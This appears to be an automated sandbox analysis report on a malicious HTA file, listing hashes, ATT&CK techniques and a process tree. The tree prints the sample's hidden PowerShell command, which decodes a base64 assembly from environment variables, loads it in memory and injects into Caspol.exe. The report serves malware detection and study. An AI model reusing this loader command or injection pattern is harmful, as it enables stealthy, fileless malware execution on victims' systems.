5da290106c6b55ceaae144118936194ea808f64972a49971265d992ab8081eb0

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/09/2026, 18:24

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General

Target
gdprocess.hta
Size 2KB
Sample260924-w2a7jstset
SHA256 5da290106c6b55ceaae144118936194ea808f64972a49971265d992ab8081eb0
MD5 61e0e095d6d85bb9e34f23f911c0545d
SHA1 e8949bcccfa6c42ccc2f0673a06931f517ca8759
SHA512 a9bf135e8d79cb1e4124d0cc1efa66b3379f23a77efdc5d4ee1713a03693ee1e41b0a098fea19ab99dee36f7daf5620b96af3eda1ce1b9c39a793e8ff219ce25
TLSH
T152414B4352EE1108B1F71B8CA97362750BB7BE05693C899C14DC290D8FE3E5588A2BF7
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4284	4444	powershell.exe	91

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5116	mshta.exe
22	4284	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4284	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4284 set thread context of 3864	4284	powershell.exe	97

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4284	powershell.exe
4284	powershell.exe
4284	powershell.exe
4284	powershell.exe
3864	Caspol.exe
3864	Caspol.exe
3864	Caspol.exe
3864	Caspol.exe
3864	Caspol.exe
3864	Caspol.exe
3864	Caspol.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4284	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4284 wrote to memory of 2968	4284	powershell.exe	96
PID 4284 wrote to memory of 3864	4284	powershell.exe	97
PID 4284 wrote to memory of 3864	4284	powershell.exe	97
PID 4284 wrote to memory of 3864	4284	powershell.exe	97

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\gdprocess.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
PID:5116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$meltable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$dolabrate=[System.IO.MemoryStream][Convert]::FromBase64String($meltable);[System.Reflection.Assembly]::Load($dolabrate.ToArray())|Out-Null;[Win32.RMP.Cls_jbyAEZcyBu]::Met_jbyAEZcyBurG('87eRJFIiH7q87fzV4DM8QbshCC8GpXCBeW2pGGcI0njQpLRt840LMyOYJ28EArE4BpbGsNcHDKCU/wBsLkLe1w==','','p5dHR2Ttg/DYa7MVRimcNPkjO/tkenEiIZSCADYA+6JvwSF2k+ZAEQOGiCU/NXXe','5O7bFUhRc4PuMYhMbko4KT6Gij1CSIEqaZwqsfOx/AA=','x3Qz9SbeBm3b1f0S8qfjxEmGM+XueOY86lAzQ8U++zQ=','','gspqOZIIjG3iYlKrEqU9anPYMGycGFVJB5UeuSLFngA=','','yWAkvCqIKiQhAUtHl/jxUuwM4Rwwzs0pVGDt4hRFZxE=','btzqgv/J4dk5JO6nsOqCwpOHRn9Mq0oo1FEuXjM6a0Qhmdbc0jUZ7Z/K4bZ7rv93','u9rTfg+vapn9lb9hUyTApZUjnCT4xjQxgiyzX1fd3Es=','CTgrGLjMCweNwty43cbVrM4h6WVnMhNIvMSpXRhlm+0=','Pf8NCiNHJymtrUFsvg3o5dwP2Z4Ba5VmpEsuTKmKbyk=','','6Q19Y5f3li1GWQ73b98V6yv2CSdYDxmjzb1P1yYLBFY=','n4XggqGo4YXCV48lrDDWkh7wHUvSlQZspsRFAdgMUVI=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  PID:2968
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3864

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_zvnz2d1g.iyg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zvnz2d1g.iyg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3864-11-0x0000000000400000-0x0000000000446000-memory.dmp

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memory/4284-0-0x00000166B5310000-0x00000166B5320000-memory.dmp

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memory/4284-1-0x00000166B5310000-0x00000166B5320000-memory.dmp

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memory/4284-2-0x00000166B7390000-0x00000166B73B2000-memory.dmp

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memory/4284-10-0x00000166B52E0000-0x00000166B5302000-memory.dmp

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